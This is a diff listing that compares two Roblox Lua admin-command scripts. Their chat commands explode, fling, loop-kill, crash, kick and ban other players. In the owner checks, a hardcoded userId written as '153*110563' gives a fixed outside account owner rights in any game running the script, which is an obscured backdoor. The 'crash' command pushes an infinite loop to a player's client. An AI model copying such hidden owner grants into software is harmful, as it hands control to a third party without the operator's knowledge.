1792 | + | local head = player[i].Character:FindFirstChild("Head") |
1793 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
1793 | + | if head ~= nil then |
1794 | - | for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end |
1794 | + | head.Color = Color3.new(0.631373, 0.768627, 0.545098) |
1795 | - | for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then |
1795 | + | end end end end end end |
1796 | - | prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white") |
1796 | + | |
1797 | - | elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white") |
1797 | + | if string.sub(msg,1,8) == "explode/" then |
1798 | local player = findplayer(string.sub(msg,9),speaker) | |
1799 | if player ~= 0 then | |
1800 | - | end)) |
1800 | + | for i = 1,#player do |
1801 | if player[i].Character ~= nil then | |
1802 | local torso = player[i].Character:FindFirstChild("Torso") | |
1803 | - | |
1803 | + | if torso ~= nil then |
1804 | - | if msg:lower():sub(1,7) == "normal " then |
1804 | + | local ex = Instance.new("Explosion") |
1805 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1805 | + | ex.Position = torso.Position |
1806 | - | for i, v in pairs(plrz) do |
1806 | + | ex.Parent = game.Workspace |
1807 | - | coroutine.resume(coroutine.create(function() |
1807 | + | end end end end end |
1808 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1808 | + | |
1809 | - | if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end |
1809 | + | if string.sub(msg,1,7) == "rocket/" then |
1810 | - | if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end |
1810 | + | local player = findplayer(string.sub(msg,8),speaker) |
1811 | - | if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end |
1811 | + | if player ~= 0 then |
1812 | - | v.Character.Torso.Transparency = 0 |
1812 | + | for i = 1,#player do |
1813 | - | v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) |
1813 | + | if player[i].Character ~= nil then |
1814 | - | v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0) |
1814 | + | local torso = player[i].Character:FindFirstChild("Torso") |
1815 | - | v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0) |
1815 | + | if torso ~= nil then |
1816 | - | v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0) |
1816 | + | local r = Instance.new("Part") |
1817 | - | v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0) |
1817 | + | r.Name = "Rocket" |
1818 | - | for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end |
1818 | + | r.Size = Vector3.new(1,8,1) |
1819 | - | for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then |
1819 | + | r.TopSurface = "Smooth" |
1820 | - | prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White") |
1820 | + | r.BottomSurface = "Smooth" |
1821 | - | if prt.Name == "FAKETORSO" then prt:Destroy() end |
1821 | + | local w = Instance.new("Weld") |
1822 | - | elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White") |
1822 | + | w.Part1 = torso |
1823 | w.Part0 = r | |
1824 | w.C0 = CFrame.new(0,0,-1) | |
1825 | - | end)) |
1825 | + | local bt = Instance.new("BodyThrust") |
1826 | bt.force = Vector3.new(0,5700,0) | |
1827 | bt.Parent = r | |
1828 | - | |
1828 | + | r.Parent = player[i].Character |
1829 | - | if msg:lower():sub(1,7) == "trippy " then |
1829 | + | w.Parent = torso |
1830 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1830 | + | createscript([[ |
1831 | - | for i, v in pairs(plrz) do |
1831 | + | for i=1,120 do |
1832 | - | coroutine.resume(coroutine.create(function() |
1832 | + | local ex = Instance.new("Explosion") |
1833 | - | if v and v:findFirstChild("PlayerGui") then |
1833 | + | ex.BlastRadius = 0 |
1834 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end |
1834 | + | ex.Position = script.Parent.Position - Vector3.new(0,2,0) |
1835 | - | local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY" |
1835 | + | ex.Parent = game.Workspace |
1836 | - | local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 |
1836 | + | wait(0.05) |
1837 | - | local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false |
1837 | + | end |
1838 | local ex = Instance.new("Explosion") | |
1839 | - | end)) |
1839 | + | ex.BlastRadius = 10 |
1840 | ex.Position = script.Parent.Position | |
1841 | ex.Parent = game.Workspace | |
1842 | - | |
1842 | + | script.Parent.BodyThrust:remove() |
1843 | - | if msg:lower():sub(1,9) == "untrippy " then |
1843 | + | script.Parent.Parent.Humanoid.Health = 0 |
1844 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
1844 | + | ]],r) |
1845 | - | for i, v in pairs(plrz) do |
1845 | + | end end end end end |
1846 | - | coroutine.resume(coroutine.create(function() |
1846 | + | |
1847 | - | if v and v:findFirstChild("PlayerGui") then |
1847 | + | if string.sub(msg,1,8) == "ambient/" then |
1848 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end |
1848 | + | local danumber1 = nil |
1849 | local danumber2 = nil | |
1850 | - | end)) |
1850 | + | for i = 9,100 do |
1851 | if string.sub(msg,i,i) == "/" then | |
1852 | danumber1 = i | |
1853 | - | |
1853 | + | break |
1854 | - | if msg:lower():sub(1,7) == "strobe " then |
1854 | + | elseif string.sub(msg,i,i) == "" then |
1855 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1855 | + | break |
1856 | - | for i, v in pairs(plrz) do |
1856 | + | |
1857 | - | coroutine.resume(coroutine.create(function() |
1857 | + | if danumber1 == nil then return end |
1858 | - | if v and v:findFirstChild("PlayerGui") then |
1858 | + | for i =danumber1 + 1,danumber1 + 100 do |
1859 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end |
1859 | + | if string.sub(msg,i,i) == "/" then |
1860 | - | local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE" |
1860 | + | danumber2 = i |
1861 | - | local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 |
1861 | + | break |
1862 | - | local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false |
1862 | + | elseif string.sub(msg,i,i) == "" then |
1863 | break | |
1864 | - | end)) |
1864 | + | |
1865 | if danumber2 == nil then return end | |
1866 | game.Lighting.Ambient = Color3.new(-string.sub(msg,9,danumber1 - 1),-string.sub(msg,danumber1 + 1,danumber2 - 1),-string.sub(msg,danumber2 + 1)) | |
1867 | - | |
1867 | + | |
1868 | - | if msg:lower():sub(1,9) == "unstrobe " then |
1868 | + | |
1869 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
1869 | + | --Eww, theres some kind of weird brown bug on my screen, i would flick it away but i'm afraid i'd smash it and get weird bug juices all over my screen... |
1870 | - | for i, v in pairs(plrz) do |
1870 | + | |
1871 | - | coroutine.resume(coroutine.create(function() |
1871 | + | if string.sub(msg,1,5) == "part/" then |
1872 | - | if v and v:findFirstChild("PlayerGui") then |
1872 | + | local danumber1 = nil |
1873 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end |
1873 | + | local danumber2 = nil |
1874 | for i = 6,100 do | |
1875 | - | end)) |
1875 | + | if string.sub(msg,i,i) == "/" then |
1876 | danumber1 = i | |
1877 | break | |
1878 | - | |
1878 | + | elseif string.sub(msg,i,i) == "" then |
1879 | - | if msg:lower():sub(1,6) == "blind " then |
1879 | + | break |
1880 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
1880 | + | |
1881 | - | for i, v in pairs(plrz) do |
1881 | + | if danumber1 == nil then return end |
1882 | - | coroutine.resume(coroutine.create(function() |
1882 | + | for i =danumber1 + 1,danumber1 + 100 do |
1883 | - | if v and v:findFirstChild("PlayerGui") then |
1883 | + | if string.sub(msg,i,i) == "/" then |
1884 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end |
1884 | + | danumber2 = i |
1885 | - | local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND" |
1885 | + | break |
1886 | - | local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 |
1886 | + | elseif string.sub(msg,i,i) == "" then |
1887 | break | |
1888 | - | end)) |
1888 | + | |
1889 | if danumber2 == nil then return end | |
1890 | if speaker.Character ~= nil then | |
1891 | - | |
1891 | + | local head = speaker.Character:FindFirstChild("Head") |
1892 | - | if msg:lower():sub(1,8) == "unblind " then |
1892 | + | if head ~= nil then |
1893 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1893 | + | local part = Instance.new("Part") |
1894 | - | for i, v in pairs(plrz) do |
1894 | + | part.Size = Vector3.new(string.sub(msg,6,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1)) |
1895 | - | coroutine.resume(coroutine.create(function() |
1895 | + | part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0) |
1896 | - | if v and v:findFirstChild("PlayerGui") then |
1896 | + | part.Name = "Person299's Admin Command Script V2 Part thingy" |
1897 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end |
1897 | + | part.Parent = game.Workspace |
1898 | end end end | |
1899 | - | end)) |
1899 | + | |
1900 | --I finally tried flicking it but it keeps on coming back...... | |
1901 | ||
1902 | - | |
1902 | + | if string.sub(msg,1,8) == "control/" then |
1903 | - | if msg:lower():sub(1,7) == "guifix " then |
1903 | + | local player = findplayer(string.sub(msg,9),speaker) |
1904 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1904 | + | if player ~= 0 then |
1905 | - | for i, v in pairs(plrz) do |
1905 | + | if #player > 1 then |
1906 | - | coroutine.resume(coroutine.create(function() |
1906 | + | |
1907 | - | if v and v:findFirstChild("PlayerGui") then |
1907 | + | |
1908 | - | for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end |
1908 | + | for i = 1,#player do |
1909 | if player[i].Character ~= nil then | |
1910 | - | end)) |
1910 | + | speaker.Character = player[i].Character |
1911 | end end end end | |
1912 | ||
1913 | - | |
1913 | + | --IT WONT GO AWAY!!!!! |
1914 | - | if msg:lower():sub(1,9) == "loopheal " then |
1914 | + | |
1915 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
1915 | + | if string.sub(msg,1,5) == "trip/" then |
1916 | - | for i, v in pairs(plrz) do |
1916 | + | local player = findplayer(string.sub(msg,6),speaker) |
1917 | - | if v then |
1917 | + | if player ~= 0 then |
1918 | - | local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[ |
1918 | + | for i = 1,#player do |
1919 | - | local plr = game.Players:findFirstChild("]] .. v.Name .. [[") |
1919 | + | if player[i].Character ~= nil then |
1920 | - | repeat wait() |
1920 | + | local torso = player[i].Character:FindFirstChild("Torso") |
1921 | - | coroutine.resume(coroutine.create(function() |
1921 | + | if torso ~= nil then |
1922 | - | if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then |
1922 | + | torso.CFrame = CFrame.new(torso.Position.x,torso.Position.y,torso.Position.z,0, 0, 1, 0, -1, 0, 1, 0, 0)--math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random()) -- i like the people being upside down better. |
1923 | - | plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth |
1923 | + | end end end end end |
1924 | - | plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end) |
1924 | + | |
1925 | --Yay! it finally went away! :) | |
1926 | - | end)) |
1926 | + | |
1927 | - | until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false |
1927 | + | if string.sub(msg,1,8) == "setgrav/" then |
1928 | danumber = nil | |
1929 | for i =9,100 do | |
1930 | if string.sub(msg,i,i) == "/" then | |
1931 | - | |
1931 | + | danumber = i |
1932 | - | if msg:lower():sub(1,11) == "unloopheal " then |
1932 | + | break |
1933 | - | local plrz = GetPlr(plr, msg:lower():sub(12)) |
1933 | + | |
1934 | - | for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end |
1934 | + | if danumber == nil then |
1935 | return | |
1936 | - | |
1936 | + | |
1937 | - | if msg:lower():sub(1,10) == "loopfling " then |
1937 | + | local player = findplayer(string.sub(msg,9,danumber - 1),speaker) |
1938 | - | local plrz = GetPlr(plr, msg:lower():sub(11)) |
1938 | + | if player == 0 then |
1939 | - | for i, v in pairs(plrz) do |
1939 | + | |
1940 | - | if v then |
1940 | + | |
1941 | - | local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[ |
1941 | + | for i = 1,#player do |
1942 | - | local plr = game.Players:findFirstChild("]] .. v.Name .. [[") |
1942 | + | if player[i].Character ~= nil then |
1943 | - | repeat |
1943 | + | local torso = player[i].Character:FindFirstChild("Torso") |
1944 | - | coroutine.resume(coroutine.create(function() |
1944 | + | if torso ~= nil then |
1945 | - | if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then |
1945 | + | local bf = torso:FindFirstChild("BF") |
1946 | - | local xran local zran |
1946 | + | if bf ~= nil then |
1947 | - | repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555 |
1947 | + | bf.force = Vector3.new(0,0,0) |
1948 | - | repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555 |
1948 | + | |
1949 | - | plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0) |
1949 | + | local bf = Instance.new("BodyForce") |
1950 | - | local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1) |
1950 | + | bf.Name = "BF" |
1951 | bf.force = Vector3.new(0,0,0) | |
1952 | - | end)) |
1952 | + | bf.Parent = torso |
1953 | - | wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false |
1953 | + | |
1954 | local c2 = player[i].Character:GetChildren() | |
1955 | for i=1,#c2 do | |
1956 | if c2[i].className == "Part" then | |
1957 | - | |
1957 | + | torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * -string.sub(msg,danumber + 1),0) |
1958 | - | if msg:lower():sub(1,12) == "unloopfling " then |
1958 | + | end end end end end end |
1959 | - | local plrz = GetPlr(plr, msg:lower():sub(13)) |
1959 | + | |
1960 | - | for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end |
1960 | + | if string.sub(msg,1,10) == "walkspeed/" then |
1961 | danumber = nil | |
1962 | - | |
1962 | + | for i =11,100 do |
1963 | if string.sub(msg,i,i) == "/" then | |
1964 | - | |
1964 | + | danumber = i |
1965 | - | ------------------------- |
1965 | + | break |
1966 | - | -- True Owner Commands -- |
1966 | + | |
1967 | - | ------------------------- |
1967 | + | if danumber == nil then |
1968 | - | |
1968 | + | |
1969 | - | if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then |
1969 | + | |
1970 | - | |
1970 | + | local player = findplayer(string.sub(msg,11,danumber - 1),speaker) |
1971 | - | if msg:lower():sub(1,3) == "oa " then |
1971 | + | if player == 0 then |
1972 | - | local plrz = GetPlr(plr, msg:lower():sub(4)) |
1972 | + | |
1973 | - | for i, v in pairs(plrz) do |
1973 | + | |
1974 | - | coroutine.resume(coroutine.create(function() |
1974 | + | for i = 1,#player do |
1975 | - | if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end |
1975 | + | if player[i].Character ~= nil then |
1976 | - | end)) |
1976 | + | humanoid = player[i].Character:FindFirstChild("Humanoid") |
1977 | if humanoid ~= nil then | |
1978 | humanoid.WalkSpeed = string.sub(msg,danumber + 1) | |
1979 | - | |
1979 | + | end end end end |
1980 | - | if msg:lower():sub(1,5) == "unoa " then |
1980 | + | |
1981 | - | for i = 1, #owners do |
1981 | + | if string.sub(msg,1,7) == "damage/" then |
1982 | - | coroutine.resume(coroutine.create(function() |
1982 | + | danumber = nil |
1983 | - | if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end |
1983 | + | for i =8,100 do |
1984 | - | end)) |
1984 | + | if string.sub(msg,i,i) == "/" then |
1985 | danumber = i | |
1986 | break | |
1987 | - | |
1987 | + | |
1988 | if danumber == nil then | |
1989 | - | |
1989 | + | |
1990 | - | -------------------- |
1990 | + | |
1991 | - | -- Owner Commands -- |
1991 | + | local player = findplayer(string.sub(msg,8,danumber - 1),speaker) |
1992 | - | -------------------- |
1992 | + | if player == 0 then |
1993 | - | |
1993 | + | |
1994 | - | if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then |
1994 | + | |
1995 | - | |
1995 | + | for i = 1,#player do |
1996 | - | if msg:lower():sub(1,3) == "pa " then |
1996 | + | if player[i].Character ~= nil then |
1997 | - | local plrz = GetPlr(plr, msg:lower():sub(4)) |
1997 | + | humanoid = player[i].Character:FindFirstChild("Humanoid") |
1998 | - | for i, v in pairs(plrz) do |
1998 | + | if humanoid ~= nil then |
1999 | - | coroutine.resume(coroutine.create(function() |
1999 | + | humanoid.Health = humanoid.Health - string.sub(msg,danumber + 1) |
2000 | - | if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end |
2000 | + | end end end end |
2001 | - | end)) |
2001 | + | |
2002 | if string.sub(msg,1,7) == "health/" then | |
2003 | danumber = nil | |
2004 | - | |
2004 | + | for i =8,100 do |
2005 | - | if msg:lower():sub(1,5) == "unpa " then |
2005 | + | if string.sub(msg,i,i) == "/" then |
2006 | - | for i = 1, #admins do |
2006 | + | danumber = i |
2007 | - | coroutine.resume(coroutine.create(function() |
2007 | + | break |
2008 | - | if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end |
2008 | + | |
2009 | - | end)) |
2009 | + | if danumber == nil then |
2010 | return | |
2011 | end | |
2012 | - | |
2012 | + | local player = findplayer(string.sub(msg,8,danumber - 1),speaker) |
2013 | if player == 0 then | |
2014 | - | |
2014 | + | |
2015 | - | -------------------------- |
2015 | + | |
2016 | - | -- Super Admin Commands -- |
2016 | + | for i = 1,#player do |
2017 | - | -------------------------- |
2017 | + | if player[i].Character ~= nil then |
2018 | - | |
2018 | + | humanoid = player[i].Character:FindFirstChild("Humanoid") |
2019 | - | if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then |
2019 | + | if humanoid ~= nil then |
2020 | - | |
2020 | + | local elnumba = Instance.new("IntValue") |
2021 | - | if msg:lower() == "logs" then |
2021 | + | elnumba.Value = string.sub(msg,danumber + 1) |
2022 | - | if plr.PlayerGui:findFirstChild("LOGSGUI") then return end |
2022 | + | if elnumba.Value > 0 then |
2023 | - | local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui |
2023 | + | humanoid.MaxHealth = elnumba.Value |
2024 | - | for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end |
2024 | + | humanoid.Health = humanoid.MaxHealth |
2025 | end | |
2026 | - | |
2026 | + | elnumba:remove() |
2027 | - | if msg:lower():sub(1,9) == "loopkill " then |
2027 | + | end end end end |
2028 | - | local chk1 = msg:lower():sub(10):find(" ") |
2028 | + | |
2029 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
2029 | + | --Ugh, now i have the M*A*S*H theme stuck in my head..... |
2030 | - | local num = 9999 |
2030 | + | |
2031 | - | if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end |
2031 | + | if string.sub(msg,1,9) == "teleport/" then |
2032 | - | for i, v in pairs(plrz) do |
2032 | + | danumber = nil |
2033 | - | if v and not ChkAdmin(v.Name, false) then |
2033 | + | for i =10,100 do |
2034 | - | local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[ |
2034 | + | if string.sub(msg,i,i) == "/" then |
2035 | - | local plr = game.Players:findFirstChild("]] .. v.Name .. [[") |
2035 | + | danumber = i |
2036 | - | for i = 1, ]] .. tostring(num) .. [[ do |
2036 | + | break |
2037 | - | repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0 |
2037 | + | |
2038 | - | coroutine.resume(coroutine.create(function() |
2038 | + | if danumber == nil then |
2039 | - | if plr and plr.Character then plr.Character:BreakJoints() end |
2039 | + | |
2040 | - | end)) |
2040 | + | |
2041 | - | end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false |
2041 | + | local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker) |
2042 | if player1 == 0 then | |
2043 | return | |
2044 | end | |
2045 | - | |
2045 | + | local player2 = findplayer(string.sub(msg,danumber + 1),speaker) |
2046 | - | if msg:lower():sub(1,11) == "unloopkill " then |
2046 | + | if player2 == 0 then |
2047 | - | local plrz = GetPlr(plr, msg:lower():sub(12)) |
2047 | + | |
2048 | - | for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end |
2048 | + | |
2049 | if #player2 > 1 then | |
2050 | - | |
2050 | + | |
2051 | - | if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end |
2051 | + | |
2052 | - | if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end |
2052 | + | torso = nil |
2053 | - | |
2053 | + | for i =1,#player2 do |
2054 | - | if msg:lower():sub(1,3) == "sm " then |
2054 | + | if player2[i].Character ~= nil then |
2055 | - | Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children()) |
2055 | + | torso = player2[i].Character:FindFirstChild("Torso") |
2056 | end end | |
2057 | - | |
2057 | + | if torso ~= nil then |
2058 | - | if msg:lower():sub(1,3) == "ko " then |
2058 | + | for i =1,#player1 do |
2059 | - | local chk1 = msg:lower():sub(4):find(" ") + 3 |
2059 | + | if player1[i].Character ~= nil then |
2060 | - | local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1)) |
2060 | + | local torso2 = player1[i].Character:FindFirstChild("Torso") |
2061 | - | local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end |
2061 | + | if torso2 ~= nil then |
2062 | - | for n = 1, num do |
2062 | + | torso2.CFrame = torso.CFrame |
2063 | - | for i, v in pairs(plrz) do |
2063 | + | end end end end end |
2064 | - | coroutine.resume(coroutine.create(function() |
2064 | + | |
2065 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then |
2065 | + | if string.sub(msg,1,6) == "merge/" then |
2066 | - | local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator" |
2066 | + | danumber = nil |
2067 | - | v.Character:BreakJoints() |
2067 | + | for i =7,100 do |
2068 | - | wait(1/44) |
2068 | + | if string.sub(msg,i,i) == "/" then |
2069 | - | v:LoadCharacter() |
2069 | + | danumber = i |
2070 | - | wait(1/44) |
2070 | + | break |
2071 | end end | |
2072 | - | end)) |
2072 | + | if danumber == nil then |
2073 | return | |
2074 | end | |
2075 | local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker) | |
2076 | - | |
2076 | + | if player1 == 0 then |
2077 | - | if msg:lower():sub(1,6) == "crash " then |
2077 | + | |
2078 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
2078 | + | |
2079 | - | for i, v in pairs(plrz) do |
2079 | + | local player2 = findplayer(string.sub(msg,danumber + 1),speaker) |
2080 | - | coroutine.resume(coroutine.create(function() |
2080 | + | if player2 == 0 then |
2081 | - | if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then |
2081 | + | |
2082 | - | local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() |
2082 | + | |
2083 | if #player2 > 1 then | |
2084 | - | end)) |
2084 | + | |
2085 | end | |
2086 | for i =1,#player2 do | |
2087 | - | |
2087 | + | if player2[i].Character ~= nil then |
2088 | - | if msg:lower():sub(1,5) == "kick " then |
2088 | + | player2 = player2[i].Character |
2089 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
2089 | + | |
2090 | - | for i, v in pairs(plrz) do |
2090 | + | for i =1,#player1 do |
2091 | - | coroutine.resume(coroutine.create(function() |
2091 | + | player1[i].Character = player2 |
2092 | - | if v and not ChkAdmin(v.Name, false) then v:Destroy() end |
2092 | + | |
2093 | - | end)) |
2093 | + | |
2094 | if msg == "clearscripts" then -- By nominate10 | |
2095 | local c = game.Workspace:GetChildren() | |
2096 | - | |
2096 | + | for i =1,#c do |
2097 | - | if msg:lower():sub(1,6) == "admin " then |
2097 | + | if c[i].className == "Script" then |
2098 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
2098 | + | if c[i]:FindFirstChild("Is A Created Script") then |
2099 | - | for i, v in pairs(plrz) do |
2099 | + | c[i]:remove() |
2100 | - | coroutine.resume(coroutine.create(function() |
2100 | + | end end end |
2101 | - | if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end |
2101 | + | local d = game.Players:GetPlayers() |
2102 | - | end)) |
2102 | + | for i2 = 1,#d do |
2103 | for i,v in pairs(d[i2]:GetChildren()) do | |
2104 | if v:isA("Script") and v:FindFirstChild("Is A Created Script") then | |
2105 | - | |
2105 | + | v:remove() |
2106 | - | if msg:lower():sub(1,8) == "unadmin " then |
2106 | + | |
2107 | - | for i = 1, #tempadmins do |
2107 | + | |
2108 | - | coroutine.resume(coroutine.create(function() |
2108 | + | |
2109 | - | if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end |
2109 | + | if msg == "clearbricks" then -- By nominate10 |
2110 | - | end)) |
2110 | + | local c = game.Workspace:GetChildren() |
2111 | for i = 1,#c do | |
2112 | if c[i].className == "Part" or c[i].className == "WedgePart" then | |
2113 | - | |
2113 | + | if c[i].Name == "Person299's Admin Command Script V2 Part thingy" then |
2114 | - | if msg:lower():sub(1,4) == "ban " then |
2114 | + | c[i]:remove() |
2115 | - | local plrz = GetPlr(plr, msg:lower():sub(5)) |
2115 | + | |
2116 | - | for i, v in pairs(plrz) do |
2116 | + | if c[i].className == "Model" then |
2117 | - | coroutine.resume(coroutine.create(function() |
2117 | + | if string.sub(c[i].Name,1,4) == "Jail" then |
